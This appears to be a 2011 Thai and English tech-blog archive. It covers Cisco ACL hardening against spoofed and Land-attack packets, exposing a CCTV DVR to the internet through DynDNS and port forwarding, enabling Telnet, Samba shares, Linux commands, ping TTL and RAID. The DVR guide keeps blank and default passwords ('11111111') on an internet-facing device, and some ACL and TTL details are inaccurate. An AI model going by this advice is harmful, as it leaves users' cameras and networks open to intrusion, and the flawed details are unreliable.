5. แพ็กเก็ตที่ส่งมาจากภายนอกที่มีแอดเดรสต้นทางเหมือนกับแอดเดรสของเครือข่าย ภายในใดๆ (เครือข่ายที่เชื่อถือ) จัดว่าเป็นแพ็กเก็ตที่ส่งเข้ามาเพื่อโจมตีระบบโดยวิธีการ TCP sequence number guessing หรือวิธีอื่นๆ ในทำนองเดียวกัน จึงไม่ควรให้ผ่านเข้ามาในเครือข่าย ป้องกันได้โดยการสร้าง access list ขึ้นมาใช้งานที่แต่ละอินเทอร์เฟซที่ต้องติดต่อกับเครือข่ายที่ไม่น่าเชื่อ ถือ

6. สกัดกั้นแพ็กเก็ตชนิด Loopback (มาจากเครือข่าย 127.0.0.0) เนื่องจากแพ็กเก็ตเหล่านี้ไม่มีทางเกิดขึ้นได้จริง นอกจากนั้น ให้ดร็อปแพ็กเก็ตขาเข้า (Inbound) ที่มาจาก IP address ที่ถูกสำรองไว้ (ได้แก่ 10.0.0.0, 172.16.0.0 - 172.31.0.0 และ 192.168.0.0) [ตาม RFC 1918]

7. หากเครือข่ายไม่มีความจำเป็นต้องใช้ IP Multicast ก็ควรจะกั้นแพ็กเก็ตชนิด Multicast ด้วย

8. สกัดกั้นแพ็กเก็ตชนิด Broadcast

หมาย เหตุ: การปิดแพ็กเก็ตชนิด Broadcast อาจจะทำให้บริการ DHCP และ BOOTP ไม่สามารถใช้งานได้ด้วย อย่างไรก็ตาม บริการทั้งสองอันนี้ไม่ควรนำมาใช้ที่อินเทอร์เฟซที่ต่อกับเครือข่ายภาย นอกอยู่แล้ว

9. การโจมตีเครือข่ายจากภายนอกส่วนมากจะใช้วิธีการส่ง ICMP Redirect จึงควรปิดบริการนี้ (วิธีการที่ดีกว่านี้แต่มีความยุ่งยากมากขึ้นคือการอนุญาตให้แพ็กเก็ตชนิด ICMP ที่จำเป็นเพียงบางชนิดผ่านเข้าออก)

ตัวอย่างที่แสดงดังต่อไปนี้ เป็นวิธีการหนึ่งที่จะนำเอาคำแนะนำด้านบนไปใช้งานจริง

Cisco_Router2 (config) # no access-list 103
Cisco_Router2 (config) # ! block internal addresses
Cisco_Router2 (config) # access-list 103 deny ip 14.2.0.0 0.0.255.255 any log
Cisco_Router2 (config) # access-list 103 deny ip 14.1.0.0 0.0.255.255 any log
Cisco_Router2 (config) # ! block loopback/reserved addresses
Cisco_Router2 (config) # access-list 103 deny ip 127.0.0.0 0.255.255.255 any log
Cisco_Router2 (config) # access-list 103 deny ip 10.0.0.0 0.255.255.255 any log
Cisco_Router2 (config) # access-list 103 deny ip 172.16.0.0 0.15.255.255 any log
Cisco_Router2 (config) # access-list 103 deny ip 192.168.0.0 0.0.255.255 any log
Cisco_Router2 (config) # ! block multicast (if not used)
Cisco_Router2 (config) # access-list 103 deny ip 224.0.0.0 0.0.255.255 any
Cisco_Router2 (config) # ! block broadcast
Cisco_Router2 (config) # access-list 103 deny ip host 0.0.0.0 any log
Cisco_Router2 (config) # ! block ICMP redirects
Cisco_Router2 (config) # access-list 103 deny icmp any any redirect log
Cisco_Router2 (config) # interface eth 0/0
Cisco_Router2 (config-if) # ip access-group 103 in

10. ทำการสกัดกั้นแพ็กเก็ตที่มีแอดเดรสต้นทาง (Source Address) และแอดเดรสปลายทาง (Destination Address) เหมือนกันไม่ให้เข้ามาในเครือข่าย (แพ็กเก็ตลักษณะนี้จัดเป็นวิธีการบุกรุกเครือข่ายที่เรียกว่า "Land") โดยการสร้าง Access list ในลักษณะตามตัวอย่างด้านล่าง

Cisco_Router2 (config) # no access-list 101
Cisco_Router2 (config) # access-list 101 deny ip host 10.2.6.250 host 10.2.6.250 log
Cisco_Router2 (config) # access-list 101 permit ip any any
Cisco_Router2 (config) # interface Eth 0/0
Cisco_Router2 (config-if) # ip address 10.2.6.250 255.255.255.0
Cisco_Router2 (config-if) # ip access-group 101 in

11. กำหนดค่า Access list ให้กับ Virtual terminal line เพื่อควบคุมการ telnet เข้า Router ในลักษณะตามตัวอย่างด้านล่าง

Cisco_Router1 (config) # line vty 0 4
Cisco_Router1 (config-line) # access-class 93 in
Cisco_Router1 (config-line) # exit
Cisco_Router1 (config) # no access-list 93
Cisco_Router1 (config) # access-list 93 permit 10.1.1.1
Cisco_Router1 (config) # access-list 93 permit 10.1.1.2

How to install cctv online

2011-06-14T20:03:00.000-07:00

Create and Configure a Dynamic DNS Account

Dynamic DNS, also known as DynDNS or DDNS, is a service that allows you to configure a domain name, such as www.mydvr.com to route to a dynamic IP address. Typically cable and DSL internet access providers use dynamic IP address each time you connect to the internet. This means that your connection is assigned a different IP address each time you connect. DDNS allows you to remotely connect to your surveillance DVR over the internet if your DVR is connected to a cable or DSL internet connection. It is recommended that you purchase a router that supports DDNS and connect the router to your cable or DSL modem. There are many vendors that provide DDNS service. CCTV Camera Pros recommends Dynamic Network Services, Inc because it is free and we have tested it. Follow the setup instructions in this section to create and configure an account with Dynamic Network Services. NOTE: if your internet connection supports a static IP address, you can skip this section of the instructions. If you are unsure, please contact your internet service provider.

Go to Dynamic Network Services website at www.dyndns.com and sign up for an account
On the home page click on the Create Account link as seen below:
Fill on all of the required fields on the sign up page and submit the sign up form.
The confirmation screen will let you know that an account confirmation email will be sent to you. Wait a few minutes to check your mail.
When you receive the email, click on the link to confirm opening your account with DynDNS, then login to your account. The confirmation link will being you to a login link. After that, you can login from the dyndns.com home page anytime.
Once logged into your account, 1) Click on the "My Services" link, 2) then the "My Hosts" link, 3) then the "Add Host Services" link as seen below:
The New Dynamic DNS Host screen will open. In the hostname field, 1) create a prefix and 2) select a domain name from the dropdown box. The page will automaticall detect your IP address, which you can leave for now. The other fields can be left blank. 3) Click on the "Add Host" button as seen below.
If successful, a screen will be displayed to let you know that the hostname was created.

Setting up Dynamic DNS on your Router

For these instructions, will use a D-Link DI-624 router. We assume that the setup process for all D-Link routers that support DDNS will be the same or similar to this. You can use any brand router that has Dynamic DNS support. Please consult your routers manual or call the router companies technical support to determine if your router has DDNS capabilities. If your internet connection has a static IP address, you do not need to setup DDNS and can skip this section. The below instructions assume that you are working from a computer that is connected to the D-Link router.

Open the routers control panel by going to the IP address http://192.168.0.1/ in a web browser. You will be prompt for a password. If you did not setup a password on your router, enter admin for the username and leave the password blank.
Once you are logged into the router 1) click on the "Tools" tab, then 2) Click on the "DDNS" button, as seen below:
On the Dymanic DNS page do the following:
1. Select the "Enabled" radio button for the DDNS field
2. Select DynDns.org from the Server Address dropdown menu
3. Enter the complete Host Name that you setup with DynDns.com
4. Enter your DynDns.com Username and Password that you setup
5. Click the "Apply" button.
If everything is correct, the page will tell you that your router is restarting.

DDNS is now configured for your router to handle.

Connecting the MPEG4 DVR and Locating the DVRs IP Address

When you connect your DVR (or any other device) to a router, the router assigns the DVR an internal network address (IP address). This IP address allows your router to manage the location of your DVR on your network and direct any network traffic to it. Follow the below instructions to connect connect your DVR to your network and locate the IP address of your DVR.

Connect your DVR to your router. This is done with a standard cat-5 Ethernet cable. Also, connect your DVR to a monitor if you have not already done so. Power the DVR on.
On your DVR, push the the "MENU" button (reference the below image to help locate buttons). Then, click on the right arrow button on the DVR next to the "D-ZOOM" label until the LINK menu is highlighted on the screen. On the screen select the first option in the LINK menu which is NETWORK and push the "STATUS" button on the DVR. The screen will display the IP address that your DVR is connected to and the port that it is listening on. Note these two values. You will need them for the next phase of these instructions.
Click the "ESC" button on the DVR twice to exit the NETWORK menu. Then, select "SAVE AND EXIT" on the screen and click on the "STATUS" button on the DVR to exit.

Setting up a Virtual Service on your D-Link Router

The purpose of this section is to configure a virtual server which allows internet access to your DVR. Remember the IP address that your router assigns to your DVR is an internal IP address (LAN). In order you to access your DVR from the internet, you need to tell your router to route requests on a certain port to your DVR.

Open the routers control panel again by going to the IP address http://192.168.0.1/ in a web browser. You will be prompt for a password. If you did not setup a password on your router, enter admin for the username and leave the password blank.
After you are logged into your router, 1) click on the "Advanced" tab, then 2) click on the "Virtual Service" button. This will display the Virtual Server screen as seen below:
On the Virtual Server screen:
1. Click on the "Enabled" radio button
2. Choose a Name for this service. This can be anything that you choose.
3. Enter the Private IP address of your DVR that you noted previously.
4. Select TCP for the Protocal Type
5. Enter 5400 for both the Pivate Port and Public Port
6. Select "Always" for Schedule
7. Click on the "Apply" button
On success, the screen will display a settings saved screen

The virtual service to acess your DVR is now setup.

Installing the Remote Viewer Software for Remote Internet Access

From your computer, download and install the latest DVR software from here: MPEG-4 Series DVR Viewer Software. The download is in zipped format. Using Windows XP, double-click on the .zip file after it downloads, then double click on the setup.exe program to install.
After installation is complete, double-click on the DVR viewer icon on your windows desktop. Reference the below image to help locate the DVR viewer icon.
You will be prompt for the userid and password to access. Leave the password blank and click "OK". The DVR viewer should then open.
Click on the DVR List button as seen below:

You will be prompt for a password which again you can leave blank and click "OK".
The DVR list will open as seen below.

Follow these steps to add your DVR to the list:
1. Check the "Use DDNS" checkbox
2. Enter a name for your DVR. This can be anything you choose.
3. Select port 5400 (or choose the port that you noted earleri from your DVR)
4. Enter the Host Name that you setup with DynDNS.com in the Domain Name field
5. Enter the password for your DVR. Default is "11111111" (8 ones)
6. Click on the "Add" button
7. The DVR should now appear in the DVR list. Click to select the DVR if it is not already highlighted.
8. Click on the "Connect" button
You will be prompt for a password to connect to the DVR. The default password is "11111111" (8 ones). Enter the password and click "OK".

If everything was successful you will be connected to the DVR.

dyndns website:-
http://www.dyndns.com

how to create account :-
http://www.youtube.com/watch?v=3_tzQy76Du8

download dyndns updater to your PC:-
http://cdn.dyndns.com/windows/DynUpSetup-4.1.1.exe

port forwarding info:
http://portforward.com/

Enable Telnet On window 7

2011-06-06T10:16:00.000-07:00

Windows 7 – Enable Telnet

Jun

It’s very rare that I use Telnet these days, so it took a long time for me to notice that by default it was not packaged with Windows 7. I did some research and found out that this was also true for Windows Vista. More than likely this was an attempt to make Windows more secure by default, as Telnet is very insecure and whenever you have the choice you should always use SSH. However, with that being said, you can quickly re-enable Telnet by following these steps:

Start
Control Panel
Programs And Features
Turn Windows features on or off
Check Telnet Client
Hit OK

After that you can start Telnet via Command Prompt.

Access share file on window by using linux

2011-06-05T20:30:00.000-07:00

Mount a Windows shared folder in Linux Kyle Pott —You made the switch to Linux and at least one Windows computer is still on your network. The old days when Windows and Linux didn't play together are long gone. You can easily set up your Linux computer to have read and write access to the files housed on a nearby Windows computer. If you've used Macs in the past, the process is practically identical.

Set up sharing on your PC
In Windows, choose the folder you want to share, right click on it and choose properties. In the Sharing tab, turn on sharing. Feel free to name your folder anything you want and ignore any warnings Windows gives about the name being longer than 12 characters.

Determine your PC's IP Address
You will need to give your Linux computer a location when trying to access shared folders. This location is your PC's IP address. In the Command Prompt type ipconfig and you will see your IP address (it probably starts with 192). My IP address is shown below as 192.168.1.117

Accessing the shared folder from Linux
There are two very easy ways to access shared folders in Linux. The easiest way (in Gnome) is to press (ALT+F2) to bring up the run dialog and type smb:// followed by the IP address and the folder name. As shown below, I need to type smb://192.168.1.117/Shared. If you have your Windows account passworded, you will need to enter the password to access the shared folder.

Accessing all shared folders from Linux
Linux automatically detects and connects to Windows networks. In Gnome, by going to Places and then Network you will automatically see all the Windows networks. You can then navigate through the Windows networks and connect to the shared folder. This is an easy way to manage your shared folders if you have many Windows networks with shared folders.

Making it easier
By bookmarking your shared folder you can access it from the Gnome menu.

That's all there is to it! How do you get Windows and Linux to talk to each other? Share in the

Linux basic command

2011-04-25T20:51:00.000-07:00

คำสั่งลีนุกซ์ฉบับย่อ
www.LinuxLane.com
P.1
ไฟล์ / ไดเรคเทอรี
ls แสดงไฟล์ / ไดเรคเทอรี
cp คัดลอกไฟล์ / ไดเรคเทอรี
mv เปลี่ยนชื่อไฟล์ / ไดเรคเทอรี
rm ลบไฟล์ / ไดเรคเทอรี
ln ลิงค์ไฟล์ / ไดเรคเทอรี
cd เปลี่ยนไดเรคเทอรี
pwd แสดงไดเรคเทอรีปัจจุบัน
mkdir สร้างไดเรคเทอรี
rmdir ลบไดเรคเทอรี
อ่านข้อมูลในไฟล์
cat แสดงข้อมูลในไฟล์
less แสดงข้อมูลในไฟล์ทีละหน้า
head แสดงข้อมูลในไฟล์จากด้านบน
tail แสดงข้อมูลในไฟล์จากด้านล่าง
nl แสดงจำนวนบรรทัดในไฟล์
od แสดงข้อมูลแบบไบนารี
xxd แสดงข้อมูลแบบไบนารี
gv แสดงข้อมูลในไฟล์ Postscript/PDF
xdvi แสดงข้อมูลในไฟล์ Tex DVI
สร้างและแก้ไขไฟล์
emacs สร้างและแก้ไขเท็กซ์ไฟล์
vim สร้างและแก้ไขเท็กซ์ไฟล์
nano สร้างและแก้ไขเท็กซ์ไฟล์
umask ตั้งค่าสิทธิแบบดีฟอลต์ของไฟล์
soffice สร้างและแก้ไขไฟล์
Word/Excel/PowerPoint
abiword สร้างและแก้ไขไฟล์เอกสาร Word
gnumeric สร้างและแก้ไขไฟล์เอกสาร Excel
คุณสมบัติของไฟล์
stat ดูคุณสมบัติของไฟล์
wc นับจำนวนไบต์ / คำ / บรรทัด
du แสดงการใช้งานดิสก์
file แสดงชนิดของไฟล์
touch สร้างไฟล์เปล่า / เปลี่ยนเวลาของไฟล์
chown เปลี่ยนเจ้าของไฟล์ / ไดเรคเทอรี
chgrp เปลี่ยนกลุ่มของไฟล์ / ไดเรคเทอรี
chmod เปลี่ยนสิทธิของไลฟ์ / ไดเรคเทอรี
chattr เปลี่ยนคุณสมบัติขั้นสูงของไฟล์
lsattr แสดงคุณสมบัติขั้นสูงของไฟล์
ค้นหาไฟล์ / ไดเรคเทอรี
find ค้นหาไฟล์ / ไดเรคเทอรี
slocate ค้นหาไฟล์จากอินเด็กซ์
which ค้นหาไฟล์
whereis ค้นหาไฟล์
จัดการกับไฟล์
grep ค้นหาข้อความในไฟล์
cut แยกไฟล์ตามข้อความ
paste รวมไฟล์เข้าด้วยกัน
tr แปลงหรือลงตัวอักษร
sort เรียงข้อความทุกบรรทัด
tee นำข้อมูลจาก stdin ไปยัง stdout
และไฟล์อีกทอด
การบีบอัดไฟล์ / ไดเรคเทอรี
gzip บีบอัดไฟล์ GNU .zip
compress บีบอัดไฟล์ Unix
bzip2 บีบอัดไฟล์ .bz2
zip บับอัดไฟล์ Windows Zip
เปรียบเทียบไฟล์
diff เปรียบเทียบไฟล์บรรทัดต่อบรรทัด
comm เปรียบเทียบไฟล์แบบจัดเรียง
cmp เปรียบเทียบไฟล์ในรูปแบบไบต์ต่อไบต์
md5sum คำนวณ checksums
ดิสก์และระบบไฟล์
df แสดงพื้นดิสก์ที่เหลืออยู่
mount เมาท์ดิสก์ เพื่อให้ใช้งานได้
fsck ตรวจสอบความผิดพลาดดิสก์
sync ทำให้ข้อมูลในดิสก์เหมือนกัน
fdisk -l แสดงข้อมูลของดิสก์
สำรองข้อมูล
dump สำรองข้อมูลของดิสก์
restore นำข้อมูลที่สำรองไว้กลับคืนมา
tar สำรองข้อมูลลงในไฟล์ / เทป
cdrecord เบิร์นข้อมูลไปที่ซีดีรอม
rsync สำรองข้อมูลไปยังดิสก์อื่น
Document Created by Scribus Open Source - 09/2553

PING

2011-04-18T02:40:00.001-07:00

ค่า TTL เมื่อคุณใช้คำสั่ง ping คืออะไร ?

C:\Documents and Settings\f>ping 61.7.152.115 -t

Pinging 61.7.152.115 with 32 bytes of data:

Reply from 61.7.152.115: bytes=32 time=17ms TTL=53
Reply from 61.7.152.115: bytes=32 time=21ms TTL=53
Reply from 61.7.152.115: bytes=32 time=23ms TTL=53
Reply from 61.7.152.115: bytes=32 time=62ms TTL=53
Reply from 61.7.152.115: bytes=32 time=21ms TTL=53
Reply from 61.7.152.115: bytes=32 time=54ms TTL=53
Reply from 61.7.152.115: bytes=32 time=48ms TTL=53
Reply from 61.7.152.115: bytes=32 time=50ms TTL=53
Reply from 61.7.152.115: bytes=32 time=34ms TTL=53
Reply from 61.7.152.115: bytes=32 time=23ms TTL=53
Reply from 61.7.152.115: bytes=32 time=37ms TTL=53
Reply from 61.7.152.115: bytes=32 time=101ms TTL=53
Reply from 61.7.152.115: bytes=32 time=32ms TTL=53
Reply from 61.7.152.115: bytes=32 time=52ms TTL=53

Ping statistics for 61.7.152.115:
Packets: Sent = 14, Received = 14, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 17ms, Maximum = 101ms, Average = 41ms

TTL ใช้บอกจำนวน Router หรือ Network ซึ่ง Traffic ทำการกระโดดข้าม ซึ่งจะต่างกันตามนี้ครับ

TTL 64 จะเป็น ระบบ Linux หรือ Router ขนาดเล็กๆ
TTL 128 เป็น OS พวก X86 เช่น Windows ต่างๆ
TTL 254 เป็น Router ขนาดกลาง และ ใหญ่ ครับ

ค่า TTL จะลดลงตามจำนวน Router ที่มันผ่านครับ

เช่น คุณปิงจากบ้านไปยังจุดหมายปลายทาง ดูตัวอย่างข้างล่างนะครับ

1. คุณปิงจากเครื่องคุณไปยัง เครื่องในวงแลนเดียวกัน ไม่มีการกระโดดผ่าน Router เนื่องจากเครื่องของคุณ และ ปลายทางเป็น OS X86 คุณจะได้ ค่า TTL = 128-0 = 128

2. คุณปิงจากเครื่องคุณไปยัง เครื่องต่างวงแลนกัน มีการกระโดดผ่าน Router 2 ตัว เนื่องจากเครื่องของคุณ และ ปลายทางเป็น OS X86 คุณจะได้ ค่า TTL = 128-2 = 126

3. คุณปิงจากเครื่องคุณไปยัง เครื่องในวงแลนเดียวกัน ไม่มีการกระโดดผ่าน Router เครื่องปลายทางเป็น Linux คุณจะได้ ค่า TTL = 64-0 = 64

4. คุณปิงจากเครื่องคุณไปยัง เครื่องต่างวงแลนกัน มีการกระโดดผ่าน Router 1 ตัว เครื่องปลายทางเป็น Linux คุณจะได้ ค่า TTL = 64-1 = 63

5. คุณปิงจากเครื่องคุณไปยัง Router ในวงแลนเดียวกัน คุณจะได้ ค่า TTL = 254-0 = 254

6. คุณปิงจากเครื่องคุณไปยัง Router ของเพื่อนคุณซึ่งเป็น Router ขนาดเล็ก (Linux Embeded) มีการกระโดดผ่าน 6 Router จะได้ ค่า TTL = 64-6 = 58

7.คุณปิงจากเครื่องคุณไปยัง Router ของ ISP มีการกระโดดข้าม 4 ครั้ง คุณจะได้ ค่า TTL = 254-4 = 250

แล้ว ก็ ถ้า ค่า TTL ต่ำจนถึง จำนวนหนึ่ง ระบบจะตัดสัญญาณทิ้งทั้งหมด ซึ่งจะทำให้เกิดอาการที่เรียกว่า TTL Error หรือ Request time out ครับ
เมื่อค่า TTL มากหมายถึงดีกว่าเพราะว่าสามารถส่งผ่าน HUP ได้มากกว่าคับ...

Credit http://www.ensthai.com/tip_trick/TTL.php

RAID

2011-04-18T02:31:00.002-07:00

RAID คืออะไร ?

RAID (Redundant Array of Inexpensive Disk) คือการนำเอา Harddisk ตั้งแต่ 2 ตัวขึ้นไปมาทำงานร่วมกันเสมือนเป็น harddisk ตัวเดียวที่มีประสิทธิภาพสูงขึ้น หรือมีโอกาสที่จะสูญเสียข้อมูลน้อยลงในกรณีที่เกิดความผิดพลาดของ hardware (fault tolerance) กลุ่มของ harddisk ที่เอามาทำงานร่วมกันในเทคโนโลยี RAID จะถูกเรียกว่า disk array โดยระบบปฏิบัติการและ software จะเห็น harddisk ทั้งหมดเป็นตัวเดียว ซึ่งการทำ RAID นี้นอกจากจะเป็นการเพิ่มประสิทธิภาพของการเก็บรักษาข้อมูลแล้ว ยังเป็นการประหยัดอีกด้วย เพราะว่ายิ่ง harddisk มีความจุมากเท่าไหร่ ราคาของมันก็จะยิ่งสูงขึ้นเท่านั้น ดังนั้น สำหรับงาน ที่จำเป็นต้องใช้พื้นที่ในการเก็บข้อมูลมากๆ อย่าง Database Server ถ้าเราเลือกใช้ harddisk ความจุมากๆ เพียงตัวเดียว ในการเก็บข้อมูลหรือที่เรียกกันว่าเป็นการใช้ harddisk แบบ SLED หรือ Single Large Expensive Disk ราคาที่เราเสียไปกับ harddisk ตัวเดียวนั้น อาจจะไม่คุ้มค่าเท่ากับการใช้ harddisk ที่มีความจุต่ำกว่า (ซึ่งแน่นอนว่าราคาต้องถูกกว่าหลายเท่าด้วย) นำมาต่อเพื่อให้ทำงานร่วมกันหรือที่เรียกกันว่าเป็นการใช้ harddisk แบบ RAID

เทคโนโลยี RAID

ความเป็นมา ของ RAID Stripping และ Parity ระดับของ RAID RAID 1, RAID 3 , RAID 5 ส่วนประกอบของ RAID การจัดการ RAID ความเป็นมา

คำว่า RAID อ่านออกเสียงว่า "เหรด" ในลักษณะเดียวกันกับ พาเหรด ในปี 1987 Patterson, Gibson และ Katz ซึ่งทำงานที่ University of California Berkeley ได้พิมพ์บทความเกี่ยวกับ A Case for Redundant Arrays of Inexpensive Disks (RAID) โดยเอกสารนี้ได้บรรยายถึงชนิดของดิสก์อะเรย์ประเภทต่างๆ โดยเรียกชื่อย่อๆว่า RAID หลักการพื้นฐานของ RAID มา จากแนวคิดที่ว่า เมื่อเอาดิสก์ที่มีความจุน้อยหลายๆตัวมารวมกัน ประสิทธิภาพที่ได้จากการใช้งานจะมากกว่าใช้ดิสก์ขนาดใหญ่เพียงตัวเดียว โดยเมื่อเอาดิสก์มารวมกันแล้วคอมพิวเตอร์จะต้องเห็นว่าเป็นดิสก์ขนาดใหญ่ตัว เดียว (เป็น Logical Drive)

ครั้นต่อมา RAID ก็เปลี่ยนคำจำกัดความเป็น Redundant Array of independent disks แปลไทยได้อย่างไม่สละสลวยว่า ระบบเผื่อไว้แบบอะเรย์ของดิสก์ที่เป็นอิสระต่อกัน ฟังแล้วงงมั้ย? งงมากครับ RAID ก็คือ RAID ฟัง แล้วง่าย แต่ไม่เข้าใจไปใหญ่ ลองนึกง่ายๆ ครับ ถ้าเรามีฮาร์ดดิสก์เพียงตัวเดียว วันหนึ่งถ้าพังก็พังไปเลย ข้อมูลหายหมด แต่ถ้านำฮาร์ดดิสก์หลายๆ ตัวมาต่อกัน เช่น 5 ตัว ข้อดีคือ ได้ความจุเพิ่มขึ้น แต่ถ้าตัวใดตัวหนึ่งพังก็จะเสียข้อมูลในฮาร์ดดิสก์ตัวนั้นไป แต่จะป้องกันได้มากกว่า ถ้าหากเพิ่มฮาร์ดดิสก์เข้าไป 3 ตัว แล้วใช้ระบบการจัดแบ่งเก็บข้อมูลในแต่ละตัว พร้อมกัน แต่ในแต่ละตัวก็มีข้อมูลที่ซ้ำกัน หรือมีการเก็บ Parity ของอีกตัวไว้ ถ้าเกิดวันใดที่ตัวหนึ่งเกิดพังไป ข้อมูลในตัวที่พังก็ยังคงมีเก็บ "สำรองเผื่อเสีย" ไว้ การแก้ไข ก็เพียงเอาฮาร์ดดิสก์ใหม่มาเปลี่ยน แล้วค่อยๆ ผ่องถ่ายข้อมูลที่ฮาร์ดดิสก์ตัวเก่าที่พังไปเคยฝากไว้กับฮาร์ดดิสก์ตัวอื่น ลงมาใหม่ๆ ทำให้สมบูรณ์แบบ ทั้งหมดนั้นเรียกว่าระบบ Fault Tolerance แปลเป็นไทยก็คือ "ระบบที่คงทนต่อความเสียหาย"

คือ แทนที่ว่าฮาร์ดดิสก์พังไปตัวหนึ่งก็ต้อง "Down" เซิร์ฟเวอร์ ทำ ให้ระบบต้องหยุดชะงัก เพื่อป้องกันความเสียหายดังกล่าว จะต้องสร้างระบบให้คงทนต่อความเสียหาย ฮาร์ดดิสก์พังไปแล้วหนึ่งตัว ระบบยังทำงานต่อไปเหมือนไม่มีอะไรเกิดขึ้น โดยวิธีการนี้ จะต้องใช้ RAID ซึ่งเป็นหัวใจของการสร้าง "ดิสก์ที่คงทนต่อความเสียหาย"

คำจำกัดความของ RAID คือ

เทคโนโลยี ของหน่วยเก็บข้อมูลที่ใช้เพื่อปรับปรุงระบบให้มีความสามารถในการประมวลผล เกี่ยวกับการจัดเก็บข้อมูล เทคโนโลยีดังกล่าวจะออกแบบเพื่อให้ระบบการจัดเก็บข้อมูลแบบอะเรย์มีความ เชื่อถือได้ และเพื่อใช้ข้อดีของการนำประสิทธิภาพที่เพิ่มขึ้นจากการเพิ่มฮาร์ดดิสก์เข้า ไปในระบบหลายๆ ตัวเข้ามาใช้งาน นี่เขียนแบบวิชาการต้องแบบนั้น แต่อ่านไม่รู้เรื่องเลย แปลง่ายๆ คือ ฮาร์ดดิสก์ที่ต่อกันเป็นสมาชิกของอะเรย์ (แบบเดียวกับทางคณิตศาสตร์ เรื่องของ อะเรย์) แล้ว ทำอย่างไรให้ทำงานได้น่าเชื่อถือ แล้วการมีฮาร์ดดิสก์หลายๆ ตัว และให้เขียนและอ่านหลายๆ ตัว พร้อมๆ กัน จะได้ประสิทธิภาพดีกว่าเขียนและอ่านตัวเดียว ซึ่งต้อง "รอ" ให้การเขียนเสร็จสิ้นเป็นคราวๆ ถึงจะเริ่มเขียนใหม่ได้ ประโยชน์อีกประการของ RAID คือ "เผื่อเสีย" คือ ถ้าตัวหนึ่งเสีย อีกสลับตัวที่สำรองไว้ขึ้นมาทำงานโดยอัตโนมัติ เพื่อให้มั่นใจว่าระบบนั้นจะคงทนต่อความเสียหาย ระบบดำเนินการต่อไปได้ โดยไม่ต้องถูกขัดจังหวะจากการเสียเวลาซ่อมแซม พูดง่ายๆ ฝรั่งเขาว่า disk access will still continue normally with the failure transparent to the host system คือ การใช้งานดิสก์ยังคงเกิดขึ้นอย่างปกติ ตัวที่เสีย ระบบคอมพิวเตอร์ก็จะมองผ่านไป ปัจจุบันการนำ RAID มาใช้งานนั้น เกี่ยวกับเซิร์ฟเวอร์เป็นส่วนใหญ่ เมื่อระบบเครือข่ายถูกพัฒนาขึ้นใช้ ความสำคัญของหน่วยเก็บข้อมูล (Storage System) ก็ ทวีความสำคัญขึ้น เพราะในเซิร์ฟเวอร์นั้น ถ้าหากว่าฮาร์ดดิสก์ชำรุด ใช้งานไม่ได้ นอกจากจะสูญเสียข้อมูลที่เก็บไว้ในฮาร์ดดิสก์ไปทั้งหมดแล้วยังจะต้องเสีย เวลาเพื่อรอให้การซ่อมแซมแล้วเสร็จ ซึ่งหมายถึงการสูญเสียโอกาสทางธุรกิจ

ประโยชน์จาก RAID

1.เอื้อประโยชน์ในการรวมเอาพื้นที่จากฮาร์ดดิสก์หลายๆ ตัวเข้ารวมกันเป็น "ก้อน" ก้อนเดียว

2.ใช้ประโยชน์จากการ "เข้าถึง" ของฮาร์ดดิสก์แต่ละตัว ซึ่งหมายถึง จะแบ่งข้อมูลออกเป็นบล๊อคย่อยๆ แล้วแยกกันไปเขียน (อ่าน) ลงบนฮาร์ดดิสก์แต่ละตัว ทำให้ย่นระยะเวลาทำงาน และลดระยะเวลาคอย (Wait State)

3. มีระบบ "เผื่อเสีย" โดยการทำ "Mirroring" หรือ Parity การกระจายการเขียน-อ่านข้อมูล (Stripping) และพาริตี้ (Parity)

การกระจายการเขียน-อ่านข้อมูล (Stripping) และพาริตี้ (Parity) 2 กลไก หัวใจของ RAID

การนำเอาดิสก์หลายๆ ตัวมารวมกันเป็นดิสก์อะเรย์ แล้วกำหนดให้เป็น Logical Drive เพียงหนึ่งตัว นั้นมี "Stripping" เป็นหัวใจในการทำงาน กล่าวได้ว่า Stripping เป็นหลักการพื้นฐานของ RAID คือ เมื่อมีฮาร์ดดิสก์หลายๆ ตัวมารวมกัน การเขียนข้อมูลชุดหนึ่งๆ ลงดิสก์ เพื่อให้ได้ประสิทธิภาพดีที่สุด ต้องมีการ "กระจาย" ข้อมูลลงไปในดิสก์ทุกตัวในอะเรย์ เรียกการกระจายเขียน-อ่านข้อมูลเหล่านี้ว่า Stripping

กระบวนการ Stripping นั้นสิ่งที่สำคัญคือ I/O เพราะต้องมีการเข้าถึงฮาร์ดดิสก์ในอะเรย์ ต้องจัดการให้ดิสก์ทุกตัวบรรจุข้อมูลที่ถูกเขียน-อ่าน (Access) ในสภาวะที่สมดุลกัน ยิ่ง RAID Controller ออกแบบเท่าไร ก็จะได้ประสิทธิภาพจาก I/O มากขึ้น สำหรับตัวควบคุมอะเรย์แบบฮาร์ดแวร์ (RAID Controller) การวัดประสิทธิภาพในการทำงาน สิ่งที่นำมาวัดประสิทธิภาพก็คือ I/O Performance

บันทึกเทคนิค

ทำไมถึงว่า I/O สำคัญ กรณีนี้ จะชี้ให้เห็นว่าถ้าหากเป็น file server นั้น I/O ยังมีความสำคัญไม่มากนัก เพราะ user จะไม่ค่อยเปิด/ปิด file เท่าไหร่ (เว้นแต่มีกรณีที่มีการนำเอา network drive เป็น swap space แต่นั่นไม่ใช่ file request แล้ว เพราะการเปิดแต่ละครั้ง จะเป็นการเปิดเพื่อนำมาแก้ไข ซึ่งกว่าจะ save บางทีใช้เวลานานกว่า 10-15 นาที สมมุติว่ามีผู้ใช้ 20 คน เฉลี่ยเวลาที่จะต้องทำ I/O ก็ยังนานระดับเป็นนาที ซึ่งถือว่าไม่มากนัก แต่ถ้าเป็น database ที่ต้องทำงานระดับ record locking นั้น การเปิดข้อมูลมาแก้ไข 1 record จะมี I/O อย่างน้อย 3-4 ครั้ง (database open, record open, index open, lock open) และเฉลี่ย ไม่เกิน 30 วินาทีก็ต้องมี I/O อีกรอบ เพื่อ write ซึ่งแพงกว่า read มากเนื่องจากต้องมี concurrency control, journalizing, log ยิ่งพวก 2-phase commitment (เขียน changed image ก่อน -> ลบ record เดิม -> เปลี่ยน changed image เป็น record ใหม่) จะใช้ I/O ถึง 2 เท่า เฉลี่ย 30 วินาที มี I/O ไม่น้อยกว่า 15 ครั้ง ยิ่งพวก banking หรือ online service เวลาการจัดการ record จะน้อยกว่า 10 วินาทีอีก

